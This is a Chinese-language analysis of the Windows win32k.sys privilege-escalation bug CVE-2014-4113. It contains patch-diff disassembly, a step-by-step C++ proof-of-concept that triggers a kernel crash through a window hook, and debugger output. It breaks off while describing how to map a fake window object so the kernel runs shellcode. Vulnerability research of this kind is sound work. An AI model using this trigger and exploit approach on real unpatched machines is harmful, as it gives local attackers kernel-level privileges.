CVE-2014-4113 漏洞利用分析
作者:b2ahex
1. 背景介绍
win32k.sys in the kernel-mode drivers in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows local users to gain privileges via a crafted application, as exploited in the wild in October 2014, aka “Win32k.sys Elevation of Privilege Vulnerability.”
漏洞出现在 win32k!xxxHandleMenuMessages 流程中,当该函数调用 win32k!xxxMNFindWindowFromPoint 获取一个指向 win32k!tagwnd 的指针后,没有正确的判断返回值,导致将返回的错误代码(0xFFFFFFFB)当作指针,直接使用它作为参数调用 win32k!xxxSendMessageTimeout 对 win32k!tagwnd 对应的窗口发送消息,当 win32k!tagwnd 内容可控时,可以劫持RIP,实现特权提升等功能,以下分析及利用在windows 7 x64下进行。
2. 漏洞分析
对比更新了 KB3000061 补丁前后 win32k.sys 文件,在 win32k!xxxHandleMenuMessages 函数中发现新添加了一处校验函数 IsMFMWFPWindow 并怪变了后续代码流程。
补丁前:
.text:FFFFF97FFF162359 loc_FFFFF97FFF162359:
.text:FFFFF97FFF162359 lock add cs:glSendMessage, ebx
.text:FFFFF97FFF162360 mov r8d, [rsp+108h+arg_10] ; int
.text:FFFFF97FFF162368 mov dword ptr [rsp+108h+var_D0], ebx
.text:FFFFF97FFF16236C and [rsp+108h+var_D8], 0
.text:FFFFF97FFF162372 and [rsp+108h+var_E0], 0
.text:FFFFF97FFF162377 and dword ptr [rsp+108h+HighLimit], 0
.text:FFFFF97FFF16237C xor r9d, r9d; int
.text:FFFFF97FFF16237F mov edx, 1EDh ; int
.text:FFFFF97FFF162384 mov rcx, r12; int
.text:FFFFF97FFF162387 call xxxSendMessageTimeout
补丁后:
loc_FFFFF97FFF168FCF:
.text:FFFFF97FFF168FCF mov rcx, r12
.text:FFFFF97FFF168FD2 call IsMFMWFPWindow //新的校验函数
.text:FFFFF97FFF168FD7 xor r14d, r14d
.text:FFFFF97FFF168FDA cmp eax, r14d //如果 IsMFMWFPWindow 返回0,会跳过下面的xxxSendMessageTimeout
.text:FFFFF97FFF168FDD jz short loc_FFFFF97FFF16902E
.text:FFFFF97FFF168FDF lock add cs:glSendMessage, ebx
.text:FFFFF97FFF168FE6 mov r8d, [rsp+108h+arg_10] ; int
.text:FFFFF97FFF168FEE mov dword ptr [rsp+108h+var_D0], ebx
.text:FFFFF97FFF168FF2 mov [rsp+108h+var_D8], r14
.text:FFFFF97FFF168FF7 xor r9d, r9d; int
.text:FFFFF97FFF168FFA mov edx, 1EDh ; int
.text:FFFFF97FFF168FFF mov [rsp+108h+var_E0], r14d ; int
.text:FFFFF97FFF169004 mov dword ptr [rsp+108h+HighLimit], r14d ; HighLimit
.text:FFFFF97FFF169009 call xxxSendMessageTimeout
IsMFMWFPWindow 这个函数主要功能是验证参数是否满足3个条件,只有都不满足的情况才会执行 xxxSendMessageTimeout
.text:FFFFF97FFF1275A8 ; __int64 __fastcall IsMFMWFPWindow(__int64 ret)
.text:FFFFF97FFF1275A8 test rcx, rcx
.text:FFFFF97FFF1275AB jz short loc_FFFFF97FFF1275C7 //是否等于0
.text:FFFFF97FFF1275AD mov eax, 0FFFFFFFBh
.text:FFFFF97FFF1275B2 cmp rcx, rax
.text:FFFFF97FFF1275B5 jz short loc_FFFFF97FFF1275C7 //是否等于0FFFFFFFBh
.text:FFFFF97FFF1275B7 mov eax, 0FFFFFFFFh
.text:FFFFF97FFF1275BC cmp rcx, rax
.text:FFFFF97FFF1275BF jz short loc_FFFFF97FFF1275C7 //是否等于0FFFFFFFFh
.text:FFFFF97FFF1275C1 mov eax, 1
.text:FFFFF97FFF1275C6 retn
对比发现问题有可能是出现在 win32k!xxxSendMessageTimeout 函数对参数的使用中,分析未打补丁的 win32k!xxxHandleMenuMessages 上下文,查看参数的由来及到 win32k!xxxSendMessageTimeout 的执行流程:
win32k!xxxHandleMenuMessages:
.text:FFFFF97FFF1619BF cwde
.text:FFFFF97FFF1619C0 mov [rdx+10h], eax
.text:FFFFF97FFF1619C3 lea rdx, [rsp+108h+arg_10]
.text:FFFFF97FFF1619CB call xxxMNFindWindowFromPoint
|——> ......
.text:FFFFF97FFF122A9F lea r8, [r11+8] ; int
.text:FFFFF97FFF122AA3 or edx, eax
.text:FFFFF97FFF122AA5 movsxd r9, edx ; int
.text:FFFFF97FFF122AA8 mov edx, 1EBh ; int
.text:FFFFF97FFF122AAD call xxxSendMessageTimeout //获取ptagwnd
.text:FFFFF97FFF122AB2 mov rbx, rax
.text:FFFFF97FFF122AB5 call ThreadUnlock1
.text:FFFFF97FFF122ABA test rbx, rbx //判断返回值是否为空
.text:FFFFF97FFF122ABD jz short loc_FFFFF97FFF122AE8
.text:FFFFF97FFF122ABF cmp rbx, rdi //判断返回值是否等于0FFFFFFFBh
.text:FFFFF97FFF122AC2 jz short loc_FFFFF97FFF122AD7
.text:FFFFF97FFF122AC4 cmp rbx, r12 //判断返回值是否等于0FFFFFFFFh
.text:FFFFF97FFF122AC7 jz short loc_FFFFF97FFF122AD7
.text:FFFFF97FFF122AC9 mov dl, r14b
.text:FFFFF97FFF122ACC mov rcx, rbx
.text:FFFFF97FFF122ACF call HMValidateHandleNoSecure
|——> ......
/*如果返回值(tagwnd指针)不为空,不等于0FFFFFFFBh,也不等于0FFFFFFFFh
就调用 HMValidateHandleNoSecure 检查窗口对象*/
.text:FFFFF97FFF0CB056 mov rax, cs:gpsi
.text:FFFFF97FFF0CB05D movzx ecx, di
.text:FFFFF97FFF0CB060 cmp rcx, [rax+8] //对比 _THRDESKHEAD->h & 0xffff
.text:FFFFF97FFF0CB064 jnb short loc_FFFFF97FFF0CB0D0
.text:FFFFF97FFF0CB066 mov [rsp+28h+arg_0], rbx
.text:FFFFF97FFF0CB06B mov ebx, cs:dword_FFFFF97FFF2DD310
.text:FFFFF97FFF0CB071 shr rdi, 10h
.text:FFFFF97FFF0CB075 imulebx, ecx
.text:FFFFF97FFF0CB078 add rbx, cs:qword_FFFFF97FFF2DD308
.text:FFFFF97FFF0CB07F cmp di, [rbx+12h] //从 gSharedInfo->aheList 中查找比较tagwnd窗口
.text:FFFFF97FFF0CB083 jz short loc_FFFFF97FFF0CB0B1
.text:FFFFF97FFF0CB085 mov ecx, 0FFFFh
.text:FFFFF97FFF0CB08A cmp di, cx
.text:FFFFF97FFF0CB08D jz short loc_FFFFF97FFF0CB0B1
.text:FFFFF97FFF0CB08F testdi, di
.text:FFFFF97FFF0CB092 jnz short loc_FFFFF97FFF0CB09F
.text:FFFFF97FFF0CB094 callcs:__imp_PsGetCurrentProcessWow64Process
.text:FFFFF97FFF0CB09A testrax, rax
.text:FFFFF97FFF0CB09D jnz short loc_FFFFF97FFF0CB0B1
.text:FFFFF97FFF0CB09F xor eax, eax //如果检查失败,将tagwnd指针清零
.text:FFFFF97FFF0CB0A1 mov rbx, [rsp+28h+arg_0]
.text:FFFFF97FFF0CB0A6 mov rsi, [rsp+28h+arg_8]
.text:FFFFF97FFF0CB0AB add rsp, 20h
.text:FFFFF97FFF0CB0AF pop rdi
.text:FFFFF97FFF0CB0B0 retn
.text:FFFFF97FFF122AD4 mov rbx, rax //覆盖返回值
......
.text:FFFFF97FFF1619D0 mov r14d, 0FFFFFFFBh
.text:FFFFF97FFF1619D6 mov r13d, 0FFFFFFFFh
.text:FFFFF97FFF1619DC mov r12, rax //r12 == xxxSendMessageTimeout 返回值,就是补丁 IsMFMWFPWindow 校验的参数
......
.text:FFFFF97FFF162305 loc_FFFFF97FFF162305:
.text:FFFFF97FFF162305 mov esi, [rsp+108h+arg_10]
.text:FFFFF97FFF16230C test r12, r12
.text:FFFFF97FFF16230F jnz short loc_FFFFF97FFF16232B 判断 r12 是否等于0,假设不满足跳走
.text:FFFFF97FFF162311 test esi, esi
.text:FFFFF97FFF162313 jnz short loc_FFFFF97FFF16232B
.text:FFFFF97FFF162315 mov esi, [rsp+108h+var_B8]
.text:FFFFF97FFF162319 xor r9d, r9d
.text:FFFFF97FFF16231C xor r8d, r8d
.text:FFFFF97FFF16231F xor edx, edx
.text:FFFFF97FFF162321 mov rcx, rdi
.text:FFFFF97FFF162324 call xxxMNCancel
......
.text:FFFFF97FFF16232B test byte ptr [rbp+0], 2
.text:FFFFF97FFF16232F jz short loc_FFFFF97FFF162341 //假如条件不满足,跳走
.text:FFFFF97FFF162331 cmp r12, r14
.text:FFFFF97FFF162334 jnz short loc_FFFFF97FFF162341 //假如返回值等于0FFFFFFFBh,跳走
.text:FFFFF97FFF162336 mov rcx, rbp
.text:FFFFF97FFF162339 call xxxMNSwitchToAlternateMenu
.text:FFFFF97FFF16233E mov r12, r13
......
.text:FFFFF97FFF162341 cmp r12, r13 //这里只比较了返回值(ptagwnd)和0FFFFFFFFh,没有比较0FFFFFFFBh
.text:FFFFF97FFF162344 jnz short loc_FFFFF97FFF162359
.text:FFFFF97FFF162346 mov r9d, ebx
.text:FFFFF97FFF162349 mov r8d, esi
.text:FFFFF97FFF16234C mov rdx, rdi
.text:FFFFF97FFF16234F mov rcx, rbp
.text:FFFFF97FFF162352 callxxxMNButtonDown
.text:FFFFF97FFF162357 jmp short loc_FFFFF97FFF16238C
.text:FFFFF97FFF162359 ; ---------------------------------------------------------------------------
.text:FFFFF97FFF162359 lock add cs:glSendMessage, ebx
.text:FFFFF97FFF162360 mov r8d, [rsp+108h+arg_10] ; int
.text:FFFFF97FFF162368 mov dword ptr [rsp+108h+var_D0], ebx
.text:FFFFF97FFF16236C and [rsp+108h+var_D8], 0
.text:FFFFF97FFF162372 and [rsp+108h+var_E0], 0
.text:FFFFF97FFF162377 and dword ptr [rsp+108h+HighLimit], 0
.text:FFFFF97FFF16237C xor r9d, r9d; int
.text:FFFFF97FFF16237F mov edx, 1EDh ; int
.text:FFFFF97FFF162384 mov rcx, r12; int
.text:FFFFF97FFF162387 call xxxSendMessageTimeout //所以如果参数等于 0xFFFFFFFB 就有可能成功执行 xxxSendMessageTimeout
参数由来:调用 win32k!xxxMNFindWindowFromPoint –> win32k!xxxSendMessageTimeout (0x1EB == MN_FINDMENUWINDOWFROMPOINT) 得到菜单窗口的指针,对应的内核结构体应该是 win32k!tagwnd (每个窗口在内核中对应一个tagwnd对象)
通过对这个函数的分析发现,在使用 win32k!xxxMNFindWindowFromPoint(0x1EB) 获取窗口对象后, 如果 xxxSendMessageTimeout 返回的是0xFFFFFFFB,将有可能绕过所有的返回值验证,而 win32k!xxxSendMessageTimeout 会把它当作一个窗口对象的指针作为参数使用,最终访问异常的内存。
3. 生成POC
对比微软公告和漏洞补丁,发现问题应该出自于 win32k!xxxHandleMenuMessages ,IDA中xrefs几层后,发现问题可由内核中 win32k!xxxTrackPopupMenuEx 函数复现,一般根据经验它的用户层接口就是 TrackPopupMenu 可以去msdn中搜索详细信息,或者通过符号文件搜索相关信息,由于win32k提供的系统服务调用一般来自USER32模块和GDI32模块,windbg中通过x命令可以得到信息:
x user32! *TrackPopupMenu*
00000000`77a70c60 user32!TrackPopupMenu
TrackPopupMenu 调用,MSDN中描述如下:
TrackPopupMenu function
Displays a shortcut menu at the specified location and tracks the selection of items on the menu. The shortcut menu can appear anywhere on the screen.
https://msdn.microsoft.com/en-us/library/windows/desktop/ms648002(v=vs.85).aspx.aspx)
在指定的位置创建快捷菜单,并等待用户选择。
接着根据这个函数的参数构造代码,参数需要2个句柄,快捷菜单窗口创建完后要加入菜单项,否则会调用失败,如果调用成功,进程会堵塞住等待选择结果。
LRESULT CALLBACK WinSunProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASS wndcls = { 0 };
wndcls.hInstance = hInstance;
wndcls.lpfnWndProc = WinSunProc;
wndcls.lpszClassName = "CVE-2014-4113";
RegisterClassA(&wndcls);
HWND hwnd = CreateWindowA(
wndcls.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 800, NULL, NULL, wndcls.hInstance, NULL);
HMENU demo = CreatePopupMenu();
AppendMenu(demo, MF_STRING, 0, "BSOD!"); //菜单项不能为空,否则返回失败
/*参数需要两个句柄,通过 CreateWindow 和 CreatePopupMenu 实现*/
TrackPopupMenu(demo, 0, 0, 0, 0, hwnd, 0);
将编译好的程序放进双机调试的虚拟机中,windbg 给刚刚获取 ptagwnd 的地方(.text:FFFFF97FFF1619CB call xxxMNFindWindowFromPoint)下硬件断点:
ba e1 win32k!xxxHandleMenuMessages+bb
直接运行程序发现并没有断下来(一般来说肯定没那么顺利..),那再观察下 win32k!xxxHandleMenuMessages 看看是哪里条件不满足给跳走了,为了方便分析,首先要定位下这个函数里的重要结构体,通过分析win32k的符号文件,对比函数中结构体的偏移,发现 win32k!xxxHandleMenuMessages 的第一个参数应该是一个 _tagMSG 类型的指针,第三个参数应该是 _tagPOPUPMENU 类型的指针,从符号文件中找到结构体定义如下:
_tagMSG:
typedef struct _tagMSG // 6 elements, 0x30 bytes (sizeof)
{
/*0x000*/ struct _HWND__* hwnd;
/*0x008*/ UINT32 message;
/*0x00C*/ UINT8 _PADDING0_[0x4];
/*0x010*/ UINT64 wParam;
/*0x018*/ INT64 lParam;
/*0x020*/ ULONG32 time;
/*0x024*/ struct _tagPOINT pt; // 2 elements, 0x8 bytes (sizeof)
/*0x02C*/ UINT8 _PADDING1_[0x4];
}tagMSG, *PtagMSG;
_tagPOPUPMENU:
typedef struct _tagPOPUPMENU // 36 elements, 0x58 bytes (sizeof)
{
struct // 25 elements, 0x4 bytes (sizeof)
{
/*0x000*/ ULONG32 fIsMenuBar : 1; // 0 BitPosition
/*0x000*/ ULONG32 fHasMenuBar : 1; // 1 BitPosition
/*0x000*/ ULONG32 fIsSysMenu : 1; // 2 BitPosition
/*0x000*/ ULONG32 fIsTrackPopup : 1; // 3 BitPosition
/*0x000*/ ULONG32 fDroppedLeft : 1; // 4 BitPosition
/*0x000*/ ULONG32 fHierarchyDropped : 1; // 5 BitPosition
/*0x000*/ ULONG32 fRightButton : 1; // 6 BitPosition
/*0x000*/ ULONG32 fToggle : 1; // 7 BitPosition
/*0x000*/ ULONG32 fSynchronous : 1; // 8 BitPosition
/*0x000*/ ULONG32 fFirstClick : 1; // 9 BitPosition
/*0x000*/ ULONG32 fDropNextPopup : 1; // 10 BitPosition
/*0x000*/ ULONG32 fNoNotify : 1; // 11 BitPosition
/*0x000*/ ULONG32 fAboutToHide : 1; // 12 BitPosition
/*0x000*/ ULONG32 fShowTimer : 1; // 13 BitPosition
/*0x000*/ ULONG32 fHideTimer : 1; // 14 BitPosition
/*0x000*/ ULONG32 fDestroyed : 1; // 15 BitPosition
/*0x000*/ ULONG32 fDelayedFree : 1; // 16 BitPosition
/*0x000*/ ULONG32 fFlushDelayedFree : 1; // 17 BitPosition
/*0x000*/ ULONG32 fFreed : 1; // 18 BitPosition
/*0x000*/ ULONG32 fInCancel : 1; // 19 BitPosition
/*0x000*/ ULONG32 fTrackMouseEvent : 1; // 20 BitPosition
/*0x000*/ ULONG32 fSendUninit : 1; // 21 BitPosition
/*0x000*/ ULONG32 fRtoL : 1; // 22 BitPosition
/*0x000*/ ULONG32 iDropDir : 5; // 23 BitPosition
/*0x000*/ ULONG32 fUseMonitorRect : 1; // 28 BitPosition
};
/*0x008*/ struct _tagWND* spwndNotify;
/*0x010*/ struct _tagWND* spwndPopupMenu;
/*0x018*/ struct _tagWND* spwndNextPopup;
/*0x020*/ struct _tagWND* spwndPrevPopup;
/*0x028*/ struct _tagMENU* spmenu;
/*0x030*/ struct _tagMENU* spmenuAlternate;
/*0x038*/ struct _tagWND* spwndActivePopup;
/*0x040*/ struct _tagPOPUPMENU* ppopupmenuRoot;
/*0x048*/ struct _tagPOPUPMENU* ppmDelayedFree;
/*0x050*/ UINT32 posSelectedItem;
/*0x054*/ UINT32 posDropped;
}tagPOPUPMENU, *PtagPOPUPMENU;
函数流程中会比较 message ,对于不同的 message 做不同的处理,xrefs找一个能跳过去的地方:
.text:FFFFF97FFF161FBA loc_FFFFF97FFF161FBA:
.text:FFFFF97FFF161FBA mov ecx, eax
.text:FFFFF97FFF161FBC sub ecx, 203h
.text:FFFFF97FFF161FC2 jz loc_FFFFF97FFF1623B2
.text:FFFFF97FFF161FC8 sub ecx, ebx
.text:FFFFF97FFF161FCA jz loc_FFFFF97FFF16199D //构造合适的消息走到这里,比如 0x204(516)
.text:FFFFF97FFF16199D loc_FFFFF97FFF16199D:
.text:FFFFF97FFF16199D test byte ptr [r8], 40h //这里要包含 0x40,一会看看这代表什么,只要这里不跳转就ok
.text:FFFFF97FFF1619A1 jz loc_FFFFF97FFF161FDC
.text:FFFFF97FFF1619A7 loc_FFFFF97FFF1619A7:
.text:FFFFF97FFF1619A7 or dword ptr [rdx+14h], 0FFFFFFFFh
.text:FFFFF97FFF1619AB movsx eax, r9w
.text:FFFFF97FFF1619AF mov r8d, r9d
.text:FFFFF97FFF1619B2 mov [rdx+0Ch], eax
.text:FFFFF97FFF1619B5 mov rax, r9
.text:FFFFF97FFF1619B8 mov rcx, rbp
.text:FFFFF97FFF1619BB shr rax, 10h
.text:FFFFF97FFF1619BF cwde
.text:FFFFF97FFF1619C0 mov [rdx+10h], eax
.text:FFFFF97FFF1619C3 lea rdx, [rsp+108h+allocsize]
.text:FFFFF97FFF1619CB call xxxMNFindWindowFromPoint //这里通过发送0x1eb消息,获取 tagwnd 的指针,
只要返回 0xfffffffb 就可以触发漏洞,下面对该返回值的访问会造成异常
函数大体执行流程如下:
......暂时不关心
if ( message <= 0x104 )
{
......暂时不关心
}
if ( message > 0x202 )
{
......暂时不关心
if ( message == 0x204 ) //WM_RBUTTONDOWN
{
LABEL_12:
if ( ptagPOPUPMENU->flag & 0x40 ) //是否包含 fRightButton Flag
goto LABEL_13; 走到这里就行
}
}
LABEL_13: // 要让程序执行过来
......
ptagWND = xxxMNFindWindowFromPoint(a3, &v84, v8);
......
r8等于 tagPOPUPMENU 指针,40h 的2进制表示为 01000000 ,这里判断第一个字节是否含有 fRightButton 标志位,在msdn中查阅 POPUPMENU 资料,看名字估计就是 TPM_RIGHTBUTTON flag,所以在代码中指定下这个flag:
TrackPopupMenu(demo, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);
根据上面的分析 message == 0x204 时,代码可以走到这里,所以在出现窗口后,右键点击菜单窗口
,成功断在 win32k!xxxMNFindWindowFromPoint , 继续给函数内的 call xxxSendMessageTimeout 下断,但是没有断下来 , 继续跟进这个函数分析原因:
.text:FFFFF97FFF122A10 ; signed __int64 __fastcall xxxMNFindWindowFromPoint
.text:FFFFF97FFF122A10
.text:FFFFF97FFF122A10 var_78 = qword ptr -78h
.text:FFFFF97FFF122A10 var_70 = dword ptr -70h
.text:FFFFF97FFF122A10 arg_0 = dword ptr 8
.text:FFFFF97FFF122A10 arg_8 = qword ptr 10h
.text:FFFFF97FFF122A10 arg_10 = dword ptr 18h
.text:FFFFF97FFF122A10
.text:FFFFF97FFF122A10 mov r11, rsp
.text:FFFFF97FFF122A13 mov [r11+18h], r8d
.text:FFFFF97FFF122A17 push rbx
.text:FFFFF97FFF122A18 push rbp
.text:FFFFF97FFF122A19 push rsi
.text:FFFFF97FFF122A1A push rdi
.text:FFFFF97FFF122A1B push r12
.text:FFFFF97FFF122A1D push r13
.text:FFFFF97FFF122A1F push r14
.text:FFFFF97FFF122A21 sub rsp, 60h
.text:FFFFF97FFF122A25 and dword ptr [rdx], 0
.text:FFFFF97FFF122A28 mov rbp, rcx
.text:FFFFF97FFF122A2B mov rcx, [rcx+18h] // _tagPOPUPMENU + 0x18 的位置 == _tagWND* spwndNextPopup;
.text:FFFFF97FFF122A2F mov r13, rdx
.text:FFFFF97FFF122A32 mov edi, 0FFFFFFFBh
.text:FFFFF97FFF122A37 mov r14d, 1
.text:FFFFF97FFF122A3D mov r12d, 0FFFFFFFFh
.text:FFFFF97FFF122A43 test rcx, rcx
.text:FFFFF97FFF122A46 jz loc_FFFFF97FFF122AF0 如果 spwndNextPopup 为空就跳走,不会发送消息
由于 win32k!xxxMNFindWindowFromPoint 验证当前_tagPOPUPMENU对象的 spwndNextPopup指针(其实就是检查它下一个PopupMenu窗口的指针),如果指针为0,就跳走不发送消息,所以需要再创建一个PopupMenu的菜单项。
HMENU popup_menu1 = CreatePopupMenu();
HMENU popup_menu2 = CreatePopupMenu(); //这里还需要一个 PopupMenu
AppendMenu(popup_menu2, MF_STRING, 0, 0); //给 新PopupMenu随便添加个菜单项 (不能没有菜单项)
AppendMenu(popup_menu1, MF_STRING | MF_POPUP, (UINT_PTR)popup_menu2,"BSOD"); //将 popup_menu2 设置为 popup_menu1 的菜单项
BOOL ret = TrackPopupMenu(popup_menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);
编译好代码运行到这里后你会发现,这个指针依然为0,因为 popup_menu2 的窗口没有创建,所以 它的 _tagWND 指针肯定为空,tagwnd窗口对象在CreateWindow中创建.
这时候点一下 第一个 PopupMenu(BSOD)窗口,就会弹出 popup_menu2 的窗口,spwndNextPopup就有内容了,同时 xxxSendMessageTimeout 顺利执行,就像之前分析的,假如这时它返回 0XFFFFFFFB ,就会引发BSOD.
简单分析下 win32k!xxxSendMessageTimeout 流程 :
int __fastcall xxxSendMessageTimeout(...)
{
if ( ptagWND != -1 )
{
// 跳过 DDE 消息
// #define WM_INTERNAL_DDE__reserved_3e1 0x3e1
// #define WM_INTERNAL_DDE__reserved_3e8 0x3e8
if ( gptiCurrent != ptagWND->head->pti ) //判断发送的窗口是否属于当前线程
{
if ( ptagWND->head->pti->xxxx->Header->Type & 1 )
{
LODWORD(v13) = xxxDefWindowProc(ptagWND, uMsg, v10, v9);
return v13;
}
......
LODWORD(v13) = xxxInterSendMsgEx(ptagWND, uMsg, v10, v9);
return v13;
}
if ( (gptiCurren->fsHooks | gptiCurrent ->pDeskInfo->fsHooks) & 0x20 ) //检测是否安装了hook
{
.....
xxxCallHook(0i64, 0i64, (__int64)&v26, 4u); // 如果存在hook标识,就去调用用户层注册的 hook 函数
}
if (ptagWND->bServerSideWindowProc) //检查当前窗口对象 bServerSideWindowProc 是否有该标志位,
是否允许内核执行窗口过程,只有使用windows默认的回调的窗口才含有这个标志
{
......
LODWORD(v13) = ptagwnd->lpfnWndProc(ptagwnd, uMsg, v10, v9); //内核模式下执行 lpfnWndProc 窗口过程
}
else
{
xxxSendMessageToClient(ptagwnd, uMsg, v10, v9); //对目标窗口发送消息
if ( uMsg - 0x240 > 0xF )
{
if ( uMsg == 0x119 )
FreeGestureInfo(v10, 1i64);
}
else
{
FreeTouchInputInfo(v10, 1i64);
}
if ( !hi32 )
{
LODWORD(v14) = v22;
return v14;
}
*(_QWORD *)hi32 = v22;
}
LODWORD(v14) = 1;
return v14;
}
LODWORD(v13) = 1;
return v13;
}
if ( hi32 )
{
v27 = hi32;
v26 = __PAIR__(a6, (unsigned int)HighLimit);
}
LODWORD(v13) = xxxBroadcastMessage(0i64, message, a3, a4);
return v13;
}
注意看前后顺序,上面的代码中首先检测pti是否相同,接着如果检测到对方线程有设置 fshook 将会优先调用在用户层注册的 hook 函数,这给了我们一个中途回用户层的机会,当执行完hook函数再次返回到内核时,会马上执行 xxxSendMessageToClient 对目标窗口发送消息,接下来将通过 User Mode Callbacks 机制攻击 win32k!xxxSendMessageTimeout 目标快捷菜单窗口 , 思路如下:
首先在r3层设置全局hook通过fsHooks检查,在hook函数中判断是否是0x1EB的消息,如果是该消息就修改目标窗口的过程函数,让这个新的窗口函数返回0`FFFFFFFB,因为hook函数执行完后回到内核马上就会往这个窗口发消息,由于后面的代码没有对这个返回值进行处理,所以最终 xxxSendMessageTimeout 会将它作为一个tagwnd对象的指针,当对其访问时就会引发异常。
现在总结下需要在代码中更新的部分:
1.确保由窗口过程执行执行消息发送 (gptiCurrent == ptagWND->head->pti)
条件已满足
2.添加 消息hook函数(增加 fsHooks 标识)
SetWindowsHookEx 函数可以满足
3.在0x1EB消息发送后修改快捷菜单的窗口过程(ptagwnd->lpfnWndProc),并在新的窗口过程函数中返回0xFFFFFFFB
HOOK CallBacks + SetWindowLongPtr 可以满足
下面更新poc代码:
LRESULT CALLBACK NewMenuProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
if (uMsg == 0x1eb)
{
return 0x00000000fffffffb; //触发漏洞
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *ptag = (CWPSTRUCT*)lParam;
if (ptag->message == 0x1eb)
{
SetWindowLongPtr(ptag->hwnd, GWLP_WNDPROC, (LONG_PTR)NewMenuProc); //替换菜单窗口过程,等会儿win32k会对菜单窗口发消息
}
return CallNextHookEx(0, code, wParam, lParam);
}
SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()); //设置hook域
将程序放进虚拟机,下断点:
ba e1 win32k!xxxHandleMenuMessages+0x6ac ".if @ecx = 0x204 {.echo ########## WM_RBUTTONDOWN #########} .else{gc}"
运行程序后,右键点击菜单窗口,成功断下:
kd> g
########## WM_RBUTTONDOWN #########
win32k!xxxHandleMenuMessages+0x6ac:
fffff960`001a1fbc 81e903020000 sub ecx,203h
接着下断点检查 win32k!xxxSendMessageTimeout 返回值:
ba e1 win32k!xxxMNFindWindowFromPoint+0xa2
kd> g
win32k!xxxMNFindWindowFromPoint+0xa2:
fffff960`00162ab2 488bd8 mov rbx,rax
kd> r rax
rax=00000000fffffffb
再次运行后,系统崩溃:
FAULTING_IP:
win32k!xxxSendMessageTimeout+136
fffff960`0010a46a 483b5510 cmp rdx,qword ptr [rbp+10h]
CONTEXT: fffff88004c58d00 -- (.cxr 0xfffff88004c58d00)
rax=00000000fffffe0d rbx=0000000000000000 rcx=00000000fffffffb
rdx=fffff900c2eefc30 rsi=00000000000001ed rdi=0000000000000000
rip=fffff9600010a46a rsp=fffff88004c596e0 rbp=00000000fffffffb
r8=000000000018f7f8 r9=0000000000000000 r10=fffff900c2eefc30
r11=fffff88004c596c0 r12=0000000000000000 r13=0000000000000000
r14=000000000018f7f8 r15=0000000000000000
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010286
win32k!xxxSendMessageTimeout+0x136:
fffff960`0010a46a 483b5510 cmp rdx,qword ptr [rbp+10h] ss:0018:00000001`0000000b=????????????????
poc : https://github.com/B2AHEX/cveXXXX/blob/master/CVE-2014-4113/poc.cpp
4. EXPLOIT
在分析过 win32k!xxxSendMessageTimeout 之后,可以注意到窗口过程函数除了运行在用户层之外,如果含有 bServerSideWindowProc, win32k模块会直接调用它的窗口过程函数.
if (ptagWND->bServerSideWindowProc) //检查当前窗口对象的 bServerSideWindowProc 标志位
{
......
LODWORD(v13) = ptagwnd->lpfnWndProc(ptagwnd, uMsg, v10, v9); //内核模式下执行 lpfnWndProc 窗口过程
}
这里是一个可以被利用的地方,由于这个tagwnd对象的基址是我们通过漏洞构造的0x0`FFFFFFFB,lpfnWndProc 函数指针位于基址加偏移0x90的位置(win7x64下),所以只要覆盖这个指针,让它指向shellcode地址(win7下不考虑SMAP/SMEP),那么在最后漏洞触发时就有可能实现r0运行r3代码。
观察在上面给出的代码(上一节),要在 win32k!xxxSendMessageTimeout 中直接运行用户层的shellcode主要有以下几个条件:
- gptiCurrent == ptagWND->head->pti
- ptagWND->bServerSideWindowProc != 0
- ptagwnd->lpfnWndProc == shellcode
当基址位于 0x0`FFFFFFFB 之后,计算他们的地址位于:
kd> dt win32k!tagwnd /r
+0x000 head : _THRDESKHEAD
+0x000 h : Ptr64 Void
+0x008 cLockObj : Uint4B
+0x010 pti : Ptr64 tagTHREADINFO <----- 0x0`FFFFFFFB + 0x10 == = 00000001`0000000b
+0x018 rpdesk : Ptr64 tagDESKTOP
+0x020 pSelf : Ptr64 UChar
+0x028 state : Uint4B
+0x028 bHasMeun : Pos 0, 1 Bit
+0x028 bHasVerticalScrollbar : Pos 1, 1 Bit
+0x028 bHasHorizontalScrollbar : Pos 2, 1 Bit
+0x028 bHasCaption : Pos 3, 1 Bit
+0x028 bSendSizeMoveMsgs : Pos 4, 1 Bit
+0x028 bMsgBox : Pos 5, 1 Bit
+0x028 bActiveFrame : Pos 6, 1 Bit
+0x028 bHasSPB : Pos 7, 1 Bit
+0x028 bNoNCPaint : Pos 8, 1 Bit
+0x028 bSendEraseBackground : Pos 9, 1 Bit
+0x028 bEraseBackground : Pos 10, 1 Bit
+0x028 bSendNCPaint : Pos 11, 1 Bit
+0x028 bInternalPaint : Pos 12, 1 Bit
+0x028 bUpdateDirty : Pos 13, 1 Bit
+0x028 bHiddenPopup : Pos 14, 1 Bit
+0x028 bForceMenuDraw : Pos 15, 1 Bit
+0x028 bDialogWindow : Pos 16, 1 Bit
+0x028 bHasCreatestructName : Pos 17, 1 Bit
+0x028 bServerSideWindowProc : Pos 18, 1 Bit <----- 0x0`FFFFFFFB + 0x28 + 2 == 00000001`00000025
................................
+0x090 lpfnWndProc : Ptr64 int64 <----- 0x0`FFFFFFFB + 0x90 == 00000001`0000008b
可以看到,在上面的poc中,引发BSOD正是因为在比较pti时,由于内存异常访问引发的
win32k!xxxSendMessageTimeout+0x136:
fffff960`0010a46a 483b5510 cmp rdx,qword ptr [rbp+10h] ss:0018:00000001`0000000b=????????????????
现在,为了利用这个漏洞,需要通过 ntdll 模块中导出的 NtAllocateVirtualMemory 函数先申请 0x00000000FFFFFFFB 位置的内存,并且设置以下地址的数据:
00000001`0000000b == pti
